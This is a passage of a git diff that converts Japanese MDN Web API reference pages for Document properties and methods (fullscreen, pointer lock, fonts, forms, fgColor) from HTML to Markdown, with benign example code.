+| `ORDERED_NODE_ITERATOR_TYPE` | 5 | A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document. | +| `UNORDERED_NODE_SNAPSHOT_TYPE` | 6 | A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document. | +| `ORDERED_NODE_SNAPSHOT_TYPE` | 7 | A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document. | +| `ANY_UNORDERED_NODE_TYPE` | 8 | A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression. | +| `FIRST_ORDERED_NODE_TYPE` | 9 | A result set containing the first node in the document that matches the expression. | + +Results of `NODE_ITERATOR` types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error. + +Results of `NODE_SNAPSHOT` types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed. + +## 仕様 + +| Specification | Status | Comment | +| ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | --------------------- | +| {{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}} | {{Spec2("DOM3 XPath")}} | Initial specification | + +## ブラウザ互換性 + +{{Compat("api.Document.evaluate")}} + +## 関連項目 + +- [DOM:document.createExpression](/ja/docs/DOM/document.createExpression "DOM/document.createExpression") +- [XPath Code Snippets](/ja/docs/Code_snippets/XPath "Code_snippets/XPath") +- [Check for browser support](http://codepen.io/johan/full/ckFgn) diff --git a/files/ja/web/api/document/exitfullscreen/index.md b/files/ja/web/api/document/exitfullscreen/index.md index 07ceffe70acda2..0ba48bf5e690ac 100644 --- a/files/ja/web/api/document/exitfullscreen/index.md +++ b/files/ja/web/api/document/exitfullscreen/index.md @@ -17,71 +17,57 @@ tags: - 全画面 translation_of: Web/API/Document/exitFullscreen --- -
{{ApiRef("Fullscreen API")}}
+{{ApiRef("Fullscreen API")}} -

{{domxref("Document")}} の exitFullscreen() メソッドは、この文書で現在全画面モードで表示されている要素が全画面モードを向け、画面を以前の状態に戻すことを要求します。これはふつう、以前の {{domxref("Element.requestFullscreen()")}} の呼び出しの効果を取り消します。

+{{domxref("Document")}} の **`exitFullscreen()`** メソッドは、この文書で現在全画面モードで表示されている要素が全画面モードを向け、画面を以前の状態に戻すことを要求します。これはふつう、以前の {{domxref("Element.requestFullscreen()")}} の呼び出しの効果を取り消します。 -

構文

+## 構文 -
exitPromise = document.exitFullscreen();
-
+``` +exitPromise = document.exitFullscreen(); +``` -

引数

+### 引数 -

なし。

+なし。 -

返値

+### 返値 -

{{Glossary("user agent", "ユーザーエージェント")}}が全画面モードから完全に抜けたら解決される {{jsxref("Promise")}} です。全画面モードから抜けようとしてエラーが発生したら、 Promise の catch() ハンドラーが呼び出されます。

+{{Glossary("user agent", "ユーザーエージェント")}}が全画面モードから完全に抜けたら解決される {{jsxref("Promise")}} です。全画面モードから抜けようとしてエラーが発生したら、 Promise の `catch()` ハンドラーが呼び出されます。 -

+## 例 -

この例ではマウスボタンで中をクリックするたびに、現在の文書が全画面表示になったり戻ったりします。

+この例ではマウスボタンで中をクリックするたびに、現在の文書が全画面表示になったり戻ったりします。 -
document.onclick = function (event) {
+```
+document.onclick = function (event) {
   if (document.fullscreenElement) {
     document.exitFullscreen()
-      .then(() => console.log("Document Exited form Full screen mode"))
-      .catch((err) => console.error(err))
+      .then(() => console.log("Document Exited form Full screen mode"))
+      .catch((err) => console.error(err))
   } else {
     document.documentElement.requestFullscreen()
   }
-}
- -
-

注: もっと完全な例については、{{SectionOnPage("/ja/docs/Web/API/Element/requestFullScreen", "例")}}をご覧ください。

-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Fullscreen", "#dom-document-exitfullscreen", "Document.exitFullscreen()")}}{{Spec2("Fullscreen")}}初回定義
- -

ブラウザーの互換性

- -

{{Compat("api.Document.exitFullscreen")}}

- -

関連情報

- -
    -
  • 全画面 API
  • -
  • 全画面 API のガイド
  • -
  • {{ domxref("Element.requestFullscreen()") }}
  • -
  • {{ domxref("Document.fullscreenElement") }}
  • -
  • {{ cssxref(":fullscreen") }} および {{cssxref("::backdrop")}}
  • -
  • {{HTMLElement("iframe")}} の {{ HTMLAttrXRef("allowfullscreen", "iframe") }} 属性
  • -
+} +``` + +> **Note:** **注:** もっと完全な例については、{{SectionOnPage("/ja/docs/Web/API/Element/requestFullScreen", "例")}}をご覧ください。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------- | +| {{SpecName("Fullscreen", "#dom-document-exitfullscreen", "Document.exitFullscreen()")}} | {{Spec2("Fullscreen")}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.exitFullscreen")}} + +## 関連情報 + +- [全画面 API](/ja/docs/Web/API/Fullscreen_API) +- [全画面 API のガイド](/ja/docs/Web/API/Fullscreen_API/Guide) +- {{ domxref("Element.requestFullscreen()") }} +- {{ domxref("Document.fullscreenElement") }} +- {{ cssxref(":fullscreen") }} および {{cssxref("::backdrop")}} +- {{HTMLElement("iframe")}} の {{ HTMLAttrXRef("allowfullscreen", "iframe") }} 属性 diff --git a/files/ja/web/api/document/exitpointerlock/index.md b/files/ja/web/api/document/exitpointerlock/index.md index 90a3d83ac04543..8605fad5ebdcf3 100644 --- a/files/ja/web/api/document/exitpointerlock/index.md +++ b/files/ja/web/api/document/exitpointerlock/index.md @@ -9,44 +9,30 @@ tags: - mouse lock translation_of: Web/API/Document/exitPointerLock --- -
{{APIRef("DOM")}} {{seeCompatTable}}
+{{APIRef("DOM")}} {{seeCompatTable}} -

exitPointerLock() メソッドは、以前 {{domxref("Element.requestPointerLock")}} でリクエストされたポインターロックを非同期に解放します。

+**`exitPointerLock()`** メソッドは、以前 {{domxref("Element.requestPointerLock")}} でリクエストされたポインターロックを非同期に解放します。 -

リクエストが成功したか失敗したかを追跡するには、 {{event("pointerlockchange")}} および {{event("pointerlockerror")}} イベントを待ち受けする必要があります。

+リクエストが成功したか失敗したかを追跡するには、 {{event("pointerlockchange")}} および {{event("pointerlockerror")}} イベントを待ち受けする必要があります。 -

構文

+## 構文 -
document.exitPointerLock();
-
+``` +document.exitPointerLock(); +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}}{{Spec2('Pointer Lock')}}Document インターフェイスを拡張
+| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | --------------------------------- | +| {{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}} | {{Spec2('Pointer Lock')}} | `Document` インターフェイスを拡張 | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.exitPointerLock")}}

+{{Compat("api.Document.exitPointerLock")}} -

関連情報

+## 関連情報 -
    -
  • {{ domxref("Document.pointerLockElement") }}
  • -
  • {{ domxref("Element.requestPointerLock()") }}
  • -
  • ポインターロック
  • -
+- {{ domxref("Document.pointerLockElement") }} +- {{ domxref("Element.requestPointerLock()") }} +- [ポインターロック](/ja/docs/Web/API/Pointer_Lock_API) diff --git a/files/ja/web/api/document/featurepolicy/index.md b/files/ja/web/api/document/featurepolicy/index.md index 127c058f19a95d..e43eb80e1b184a 100644 --- a/files/ja/web/api/document/featurepolicy/index.md +++ b/files/ja/web/api/document/featurepolicy/index.md @@ -10,37 +10,26 @@ tags: - 機能ポリシー translation_of: Web/API/Document/featurePolicy --- -

{{APIRef("Feature Policy")}}

+{{APIRef("Feature Policy")}} -

featurePolicy は {{domxref("Document")}} インターフェイスの読み取り専用プロパティで、特定の文書に適用される機能ポリシーを見ることができる簡単な API を提供する {{domxref("Policy")}} インターフェイスを返します。

+**`featurePolicy`** は {{domxref("Document")}} インターフェイスの読み取り専用プロパティで、特定の文書に適用される機能ポリシーを見ることができる簡単な API を提供する {{domxref("Policy")}} インターフェイスを返します。 -

構文

+## 構文 -
var policy = iframeElement.featurePolicy
+``` +var policy = iframeElement.featurePolicy +``` -

+### 値 -

{{domxref("FeaturePolicy")}} オブジェクトで、文書に適用された機能ポリシーの設定を調べるために使用するうことができます。

+{{domxref("FeaturePolicy")}} オブジェクトで、文書に適用された機能ポリシーの設定を調べるために使用するうことができます。 -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Feature Policy")}}{{Spec2("Feature Policy")}}初回定義
+| 仕様書 | 状態 | 備考 | +| ---------------------------------------- | ------------------------------------ | -------- | +| {{SpecName("Feature Policy")}} | {{Spec2("Feature Policy")}} | 初回定義 | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.featurePolicy")}}

+{{Compat("api.Document.featurePolicy")}} diff --git a/files/ja/web/api/document/fgcolor/index.md b/files/ja/web/api/document/fgcolor/index.md index 07da4e19339982..d2839586ee097b 100644 --- a/files/ja/web/api/document/fgcolor/index.md +++ b/files/ja/web/api/document/fgcolor/index.md @@ -12,36 +12,36 @@ tags: - プロパティ translation_of: Web/API/Document/fgColor --- -
{{ApiRef}}{{Deprecated_header}}
+{{ApiRef}}{{Deprecated_header}} -

fgColor は、現在の文書の前景色またはテキストの色を取得または設定します。

+**`fgColor`** は、現在の文書の前景色またはテキストの色を取得または設定します。 -

構文

+## 構文 -
var color = document.fgColor;
-document.fgColor = color;
-
+``` +var color = document.fgColor; +document.fgColor = color; +``` -

引数

+### 引数 -
    -
  • color は文字列で、色を表すキーワード ("red" など) または16進数の値 ("#000000" など) です。
  • -
+- `color` は文字列で、色を表すキーワード ("red" など) または 16 進数の値 (`"#000000"` など) です。 -

+## 例 -
document.fgColor = "white";
+```js
+document.fgColor = "white";
 document.bgColor = "darkblue";
-
+``` -

メモ

+## メモ -

Mozilla Firefox ではこのプロパティの既定値は黒 (16進数で #000000) です。

+Mozilla Firefox ではこのプロパティの既定値は黒 (16 進数で `#000000`) です。 -

document.fgColorDOM Level 2 HTML で非推奨となっています。推奨される代替手段は CSS プロパティの {{Cssxref("color")}} (たとえば document.body.style.color = "red") です。

+`document.fgColor` は [DOM Level 2 HTML で非推奨](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268)となっています。推奨される代替手段は CSS プロパティの {{Cssxref("color")}} (たとえば `document.body.style.color = "red"`) です。 -

他の代替手段として document.body.text がありますが、上記の CSS による代替手段が設置されたため HTML 4.01 で非推奨となっています。

+他の代替手段として `document.body.text` がありますが、上記の CSS による代替手段が設置されたため [HTML 4.01 で非推奨](http://www.w3.org/TR/html401/struct/global.html#adef-text)となっています。 -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.fgColor")}}

+{{Compat("api.Document.fgColor")}} diff --git a/files/ja/web/api/document/fonts/index.md b/files/ja/web/api/document/fonts/index.md index ee417ef8838545..59cf1c370ad427 100644 --- a/files/ja/web/api/document/fonts/index.md +++ b/files/ja/web/api/document/fonts/index.md @@ -11,54 +11,42 @@ tags: - フォント translation_of: Web/API/Document/fonts --- -

{{APIRef("DOM")}}

+{{APIRef("DOM")}} -

fonts は {{domxref("Document")}} インターフェイスのプロパティで、文書の {{domxref("FontFaceSet")}} インターフェイスを返します。

+**`fonts`** は {{domxref("Document")}} インターフェイスのプロパティで、文書の {{domxref("FontFaceSet")}} インターフェイスを返します。 -

構文

+## 構文 -
let fontFaceSet = document.fonts;
+``` +let fontFaceSet = document.fonts; +``` -

+### 値 -

返値は文書の {{domxref("FontFaceSet")}} インターフェイスです。 FontFaceSet インターフェイスは新しいフォントを読み込んだり、以前読み込まれたフォントの状態をチェックしたりするのに有用です。

+返値は文書の {{domxref("FontFaceSet")}} インターフェイスです。 `FontFaceSet` インターフェイスは新しいフォントを読み込んだり、以前読み込まれたフォントの状態をチェックしたりするのに有用です。 -

+## 例 -

すべてのフォントが読み込まれた後の操作の実行

+### すべてのフォントが読み込まれた後の操作の実行 -
document.fonts.ready.then(function() {
+```js
+document.fonts.ready.then(function() {
   // すべてのフォントが読み込まれた後にのみ実行する必要がある操作を
   // ここに記述します。
 });
-
+``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('CSS3 Font Loading','#FontFaceSet-interface','FontFaceSet')}}{{Spec2('CSS3 Font Loading')}}初回定義
+| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------ | ---------------------------------------- | -------- | +| {{SpecName('CSS3 Font Loading','#FontFaceSet-interface','FontFaceSet')}} | {{Spec2('CSS3 Font Loading')}} | 初回定義 | -

ブラウザーの互換性

+## ブラウザーの互換性 -
{{Compat("api.Document.fonts")}}
+{{Compat("api.Document.fonts")}} -

関連情報

+## 関連情報 -
    -
  • {{domxref("FontFaceSet")}} インターフェイス
  • -
  • {{domxref("FontFace")}}
  • -
+- {{domxref("FontFaceSet")}} インターフェイス +- {{domxref("FontFace")}} diff --git a/files/ja/web/api/document/forms/index.md b/files/ja/web/api/document/forms/index.md index d25fd3204ca471..4044a594b88ce0 100644 --- a/files/ja/web/api/document/forms/index.md +++ b/files/ja/web/api/document/forms/index.md @@ -12,115 +12,99 @@ tags: - リファレンス translation_of: Web/API/Document/forms --- -

{{domxref("Document")}} インターフェイスの forms プロパティは読み取り専用で、文書内に含まれるすべての {{HTMLElement("form")}} を列挙した {{domxref("HTMLCollection")}} を返します。

+{{domxref("Document")}} インターフェイスの **`forms`** プロパティは読み取り専用で、文書内に含まれるすべての {{HTMLElement("form")}} を列挙した {{domxref("HTMLCollection")}} を返します。 -
-

メモ: 同様に、{{domxref("HTMLFormElement.elements")}} プロパティを使用すると、フォームコンポーネントのユーザー入力要素のリストにアクセスすることができます。

-
+> **Note:** **メモ:** 同様に、{{domxref("HTMLFormElement.elements")}} プロパティを使用すると、フォームコンポーネントのユーザー入力要素のリストにアクセスすることができます。 -

構文

+## 構文 -
collection = document.forms;
+``` +collection = document.forms; +``` -

+### 値 -

文書のすべてのフォームを列挙する {{domxref("HTMLCollection")}} オブジェクトです。コレクションのそれぞれの項目は、単一の <form> 要素を表す {{domxref("HTMLFormElement")}} です。

+文書のすべてのフォームを列挙する {{domxref("HTMLCollection")}} オブジェクトです。コレクションのそれぞれの項目は、単一の `
` 要素を表す {{domxref("HTMLFormElement")}} です。 -

文書にフォームがない場合、返されるコレクションは空で、長さはゼロです。

+文書にフォームがない場合、返されるコレクションは空で、長さはゼロです。 -

+## 例 -

フォーム情報の取得

+### フォーム情報の取得 -
<!DOCTYPE html>
-<html lang="en">
+```html
+
+
 
-<head>
-<title>document.forms example</title>
-</head>
+
+document.forms example
+
 
-<body>
+
 
-<form id="robby">
-  <input type="button" onclick="alert(document.forms[0].id);" value="robby's form" />
-</form>
+
+  
+
 
-<form id="dave">
-  <input type="button" onclick="alert(document.forms[1].id);" value="dave's form" />
-</form>
+
+ +
-<form id="paul"> - <input type="button" onclick="alert(document.forms[2].id);" value="paul's form" /> -</form> +
+ +
-</body> -</html> -
+ + +``` -

フォーム内要素の取得

+### フォーム内要素の取得 -
var selectForm = document.forms[index];
+```js
+var selectForm = document.forms[index];
 var selectFormElement = document.forms[index].elements[index];
-
+``` -

名前付きフォームへのアクセス

+### 名前付きフォームへのアクセス -
<!DOCTYPE html>
-<html lang="en">
-<head>
-  <title>document.forms example</title>
-</head>
+```html
+
+
+
+  document.forms example
+
 
-<body>
+
 
-<form name="login">
-  <input name="email" type="email">
-  <input name="password" type="password">
-  <button type="submit">Log in</button>
-</form>
+
+ + + +
-<script> + + + +``` + +## 仕様書 + +| 仕様書 | 状態 | コメント | +| -------------------------------------------------------------------------------------------- | ------------------------------------ | -------- | +| {{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}} | {{ Spec2('HTML WHATWG') }} | | +| {{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}} | {{ Spec2('DOM2 Events') }} | 初回定義 | + +## ブラウザーの対応 + +{{Compat("api.Document.forms")}} + +## 関連情報 + +- [HTML forms](/ja/docs/Learn/HTML/Forms) +- {{HTMLElement("form")}} および {{domxref("HTMLFormElement")}} インターフェイス + +{{APIRef("DOM")}} diff --git a/files/ja/web/api/document/fullscreen/index.md b/files/ja/web/api/document/fullscreen/index.md index 37c051694f8a87..31a1650c56a77c 100644 --- a/files/ja/web/api/document/fullscreen/index.md +++ b/files/ja/web/api/document/fullscreen/index.md @@ -10,69 +10,56 @@ tags: - プロパティ translation_of: Web/API/Document/fullscreen --- -
{{APIRef("Fullscreen API")}}{{Deprecated_Header}}
+{{APIRef("Fullscreen API")}}{{Deprecated_Header}} -

廃止された {{domxref("Document")}} インターフェイスの fullscreen プロパティは読み取り専用で、文書が現在全画面モードで表示されているかどうかを報告します。

+廃止された {{domxref("Document")}} インターフェイスの **`fullscreen`** プロパティは読み取り専用で、文書が現在全画面モードで表示されているかどうかを報告します。 -

このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外を投げません。セッターは何もしないので、無視されます。

+このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外を投げません。セッターは何もしないので、無視されます。 -
-

メモ: このプロパティは非推奨であり、文書が全画面モードになっているかどうかは、 {{DOMxRef("Document.fullscreenElement")}} が null ではないことで確認することができます。

-
+> **Note:** **メモ:** このプロパティは非推奨であり、文書が全画面モードになっているかどうかは、 {{DOMxRef("Document.fullscreenElement")}} が `null` ではないことで確認することができます。 -

構文

+## 構文 -
var isFullScreen = document.fullscreen;
-
+``` +var isFullScreen = document.fullscreen; +``` -

返値

+### 返値 -

真偽値であり、文書が全画面モードで表示されているときに true、それ以外の場合に false になります。

+真偽値であり、文書が全画面モードで表示されているときに `true`、それ以外の場合に `false` になります。 -

+## 例 -

このシンプルな関数は、現在全画面モードがアクティブになっているかどうかを、廃止された fullscreen プロパティを使用して報告しています。

+このシンプルな関数は、現在全画面モードがアクティブになっているかどうかを、廃止された `fullscreen` プロパティを使用して報告しています。 -
function isDocumentInFullScreenMode() {
+```js
+function isDocumentInFullScreenMode() {
   return document.fullscreen;
 }
-
+``` -

一方、次の例では、現在の fullscreenElement プロパティを使用して同じことを確認しています。

+一方、次の例では、現在の `fullscreenElement` プロパティを使用して同じことを確認しています。 -
function isDocumentInFullScreenMode() {
+```js
+function isDocumentInFullScreenMode() {
   return document.fullscreenElement !== null;
-}
- -

fullscreenElementnull でなければ、これは true を返し、全画面モードで表示されていることを示します。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Fullscreen", "#dom-document-fullscreen", "Document.fullscreen")}}{{Spec2("Fullscreen")}}初回定義 (廃止プロパティとして)
- -

ブラウザーの対応

- -

{{Compat("api.Document.fullscreen")}}

- -

関連情報

- - +} +``` + +`fullscreenElement` が `null` でなければ、これは `true` を返し、全画面モードで表示されていることを示します。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------------------- | +| {{SpecName("Fullscreen", "#dom-document-fullscreen", "Document.fullscreen")}} | {{Spec2("Fullscreen")}} | 初回定義 (廃止プロパティとして) | + +## ブラウザーの対応 + +{{Compat("api.Document.fullscreen")}} + +## 関連情報 + +- [Fullscreen API](/ja/docs/Web/API/Fullscreen_API) +- [Fullscreen API ガイド](/ja/docs/Web/API/Fullscreen_API/Guide) +- {{DOMxRef("Document.fullscreenEnabled")}} diff --git a/files/ja/web/api/document/fullscreenchange_event/index.md b/files/ja/web/api/document/fullscreenchange_event/index.md index 308d99b941b024..b4d6b847a1ecfc 100644 --- a/files/ja/web/api/document/fullscreenchange_event/index.md +++ b/files/ja/web/api/document/fullscreenchange_event/index.md @@ -12,40 +12,43 @@ tags: - 全画面モード translation_of: Web/API/Document/fullscreenchange_event --- -
{{APIRef}}
+{{APIRef}} -

fullscreenchange イベントは、ブラウザーが全画面モードに移行したり終了したりした直後に発生します。

+`fullscreenchange` イベントは、ブラウザーが全画面モードに移行したり終了したりした直後に発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("Document.onfullscreenchange", "onfullscreenchange")}}
バブリングあり
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ + {{domxref("Document.onfullscreenchange", "onfullscreenchange")}} +
-

このイベントは、全画面モードに移行または終了しようとしている Element に送られ、それから Document までバブリングします。

+このイベントは、全画面モードに移行または終了しようとしている `Element` に送られ、それから `Document` までバブリングします。 -<p<code>Element が全画面モードに移行しようとしているのか、終了しようとしているのかを判別するには、 {{domxref("DocumentOrShadowRoot/fullscreenElement", "DocumentOrShadowRoot.fullscreenElement")}} の値をチェックしてください。この値が null ならば、要素が全画面モードを終了しようとしており、そうでなければ全画面モードに移行しようとしています。 +\Element が全画面モードに移行しようとしているのか、終了しようとしているのかを判別するには、 {{domxref("DocumentOrShadowRoot/fullscreenElement", "DocumentOrShadowRoot.fullscreenElement")}} の値をチェックしてください。この値が `null` ならば、要素が全画面モードを終了しようとしており、そうでなければ全画面モードに移行しようとしています。 -

+## 例 -

この例では、 fullscreenchange イベントのハンドラーが {{domxref("Document")}} に追加されます。

+この例では、 `fullscreenchange` イベントのハンドラーが {{domxref("Document")}} に追加されます。 -
document.addEventListener('fullscreenchange', (event) => {
+```js
+document.addEventListener('fullscreenchange', (event) => {
   // document.fullscreenElement は、全画面モードにある要素があれば
   // それを指します。要素がなければ、このプロパティの値は null に
   // あります。
@@ -55,36 +58,23 @@ translation_of: Web/API/Document/fullscreenchange_event
     console.log('Leaving full-screen mode.');
   }
 });
-
+``` -

その他の例については Element: fullscreenchange イベントを参照してください。

+その他の例については [Element: fullscreenchange イベント](/ja/docs/Web/API/Element/fullscreenchange_event)を参照してください。 -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}
+| 仕様書 | 状態 | +| ------------------------------------ | -------------------------------- | +| {{SpecName("Fullscreen")}} | {{Spec2("Fullscreen")}} | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.fullscreenchange_event")}}

+{{Compat("api.Document.fullscreenchange_event")}} -

関連情報

+## 関連情報 -
    -
  • {{domxref("Document/fullscreenerror_event", "fullscreenerror")}}
  • -
  • {{domxref("Element")}}: {{domxref("Element/fullscreenchange_event", "fullscreenchange")}} イベント
  • -
  • Fullscreen API
  • -
  • Fullscreen API のガイド
  • -
+- {{domxref("Document/fullscreenerror_event", "fullscreenerror")}} +- {{domxref("Element")}}: {{domxref("Element/fullscreenchange_event", "fullscreenchange")}} イベント +- [Fullscreen API](/ja/docs/Web/API/Fullscreen_API) +- [Fullscreen API のガイド](/ja/docs/Web/API/Fullscreen_API/Guide) diff --git a/files/ja/web/api/document/fullscreenelement/index.md b/files/ja/web/api/document/fullscreenelement/index.md index 7b464c3dbd314a..6f2faee8b37c29 100644 --- a/files/ja/web/api/document/fullscreenelement/index.md +++ b/files/ja/web/api/document/fullscreenelement/index.md @@ -20,61 +20,50 @@ tags: translation_of: Web/API/DocumentOrShadowRoot/fullscreenElement original_slug: Web/API/DocumentOrShadowRoot/fullscreenElement --- -
{{ApiRef("Fullscreen API")}}
+{{ApiRef("Fullscreen API")}} -

DocumentOrShadowRoot.fullscreenElement プロパティは読み取り専用で、この文書内で現在全画面モードで表示されている {{ domxref("Element") }} を返し、全画面モードを使用していない場合は null を返します。

+**`DocumentOrShadowRoot.fullscreenElement`** プロパティは読み取り専用で、この文書内で現在全画面モードで表示されている {{ domxref("Element") }} を返し、全画面モードを使用していない場合は `null` を返します。 -

このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外は発生しません。設定しても何もせず、無視されます。

+このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外は発生しません。設定しても何もせず、無視されます。 -

構文

+## 構文 -
var element = document.fullscreenElement;
+``` +var element = document.fullscreenElement; +``` -

返値

+### 返値 -

現在全画面モードになっている {{domxref("Element")}} オブジェクト。全画面モードがこの document で使用されていない場合、返値は null です。

+現在全画面モードになっている {{domxref("Element")}} オブジェクト。全画面モードがこの `document` で使用されていない場合、返値は `null` です。 -

+## 例 -

この例は isVideoInFullscreen() 関数を表し、 fullscreenElement からの返値を調べています。文書が全画面モードで (fullscreenElementnull ではなく)、全画面の要素の {{domxref("Node.nodeName", "nodeName")}} が VIDEO、すなわち {{HTMLElement("video")}} 要素を表す場合、この関数は true、すなわち動画が全画面モードであることを表します。

+この例は `isVideoInFullscreen()` 関数を表し、 `fullscreenElement` からの返値を調べています。文書が全画面モードで (`fullscreenElement` が `null` ではなく)、全画面の要素の {{domxref("Node.nodeName", "nodeName")}} が `VIDEO`、すなわち {{HTMLElement("video")}} 要素を表す場合、この関数は `true`、すなわち動画が全画面モードであることを表します。 -
function isVideoInFullscreen() {
-  if (document.fullscreenElement && document.fullscreenElement.nodeName == 'VIDEO') {
+```js
+function isVideoInFullscreen() {
+  if (document.fullscreenElement && document.fullscreenElement.nodeName == 'VIDEO') {
     return true;
   }
   return false;
-}
+} +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Fullscreen", "#dom-document-fullscreenelement", "Document.fullscreenElement")}}{{Spec2("Fullscreen")}}初回定義
+| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName("Fullscreen", "#dom-document-fullscreenelement", "Document.fullscreenElement")}} | {{Spec2("Fullscreen")}} | 初回定義 | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.DocumentOrShadowRoot.fullscreenElement")}}

+{{Compat("api.DocumentOrShadowRoot.fullscreenElement")}} -

関連情報

+## 関連情報 -
    -
  • Fullscreen API
  • -
  • Fullscreen API ガイド
  • -
  • {{ domxref("Element.requestFullscreen()") }}
  • -
  • {{ domxref("Document.exitFullscreen()") }}
  • -
  • {{ cssxref(":fullscreen") }} and {{cssxref("::backdrop")}}
  • -
  • {{HTMLElement("iframe")}} の {{ HTMLAttrXRef("allowfullscreen", "iframe") }} 属性
  • -
+- [Fullscreen API](/ja/docs/Web/API/Fullscreen_API) +- [Fullscreen API ガイド](/ja/docs/Web/API/Fullscreen_API/Guide) +- {{ domxref("Element.requestFullscreen()") }} +- {{ domxref("Document.exitFullscreen()") }} +- {{ cssxref(":fullscreen") }} and {{cssxref("::backdrop")}} +- {{HTMLElement("iframe")}} の {{ HTMLAttrXRef("allowfullscreen", "iframe") }} 属性 diff --git a/files/ja/web/api/document/fullscreenenabled/index.md b/files/ja/web/api/document/fullscreenenabled/index.md index d0bf3bc632e45c..631b0667c164c6 100644 --- a/files/ja/web/api/document/fullscreenenabled/index.md +++ b/files/ja/web/api/document/fullscreenenabled/index.md @@ -14,64 +14,52 @@ tags: - 画面 translation_of: Web/API/Document/fullscreenEnabled --- -
{{APIRef("Fullscreen API")}}
+{{APIRef("Fullscreen API")}} -

{{domxref("Document")}} インターフェイスの fullscreenEnabled プロパティは読み取り専用で、全画面モードが使用できるかを示します。全画面モードは文書内にウィンドウ化されたプラグインを含まないページ、および文書内のすべての {{HTMLElement("iframe")}} 要素が {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性を持つページに限り使用することができます。

+{{domxref("Document")}} インターフェイスの **`fullscreenEnabled`** プロパティは読み取り専用で、全画面モードが使用できるかを示します。全画面モードは文書内にウィンドウ化されたプラグインを含まないページ、および文書内のすべての {{HTMLElement("iframe")}} 要素が {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性を持つページに限り使用することができます。 -

このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外を投げません。セッターは何もしないので、無視されます。

+このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外を投げません。セッターは何もしないので、無視されます。 -

構文

+## 構文 -
var isFullscreenAvailable = document.fullscreenEnabled;
-
+``` +var isFullscreenAvailable = document.fullscreenEnabled; +``` -

+### 値 -

{{domxref("Boolean")}} 値であり、文書や要素が {{domxref("Element.requestFullscreen()")}} を呼び出すことで全画面モードに移行できるのであれば true です。全画面モードが利用できないのであれば、値は false になります。

+{{domxref("Boolean")}} 値であり、文書や要素が {{domxref("Element.requestFullscreen()")}} を呼び出すことで全画面モードに移行できるのであれば `true` です。全画面モードが利用できないのであれば、値は `false` になります。 -

+## 例 -

この例では、 {{htmlElement("video")}} 要素に全画面モードへの移行を試みる前に fullscreenEnabled の値をチェックし、利用できない場合には移行を試みないようにします。

+この例では、 {{htmlElement("video")}} 要素に全画面モードへの移行を試みる前に `fullscreenEnabled` の値をチェックし、利用できない場合には移行を試みないようにします。 -
function requestFullScreen() {
+```js
+function requestFullScreen() {
   if (document.fullscreenEnabled) {
     videoElement.requestFullScreen();
   } else {
     console.log('現在ブラウザーは全画面モードを使用することができません');
   }
-}
+} +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Fullscreen", "#dom-document-fullscreenenabled", "Document.fullscreenEnabled")}}{{Spec2("Fullscreen")}}初回定義
+| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName("Fullscreen", "#dom-document-fullscreenenabled", "Document.fullscreenEnabled")}} | {{Spec2("Fullscreen")}} | 初回定義 | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.fullscreenEnabled")}}

+{{Compat("api.Document.fullscreenEnabled")}} -

関連情報

+## 関連情報 -
    -
  • Fullscreen API
  • -
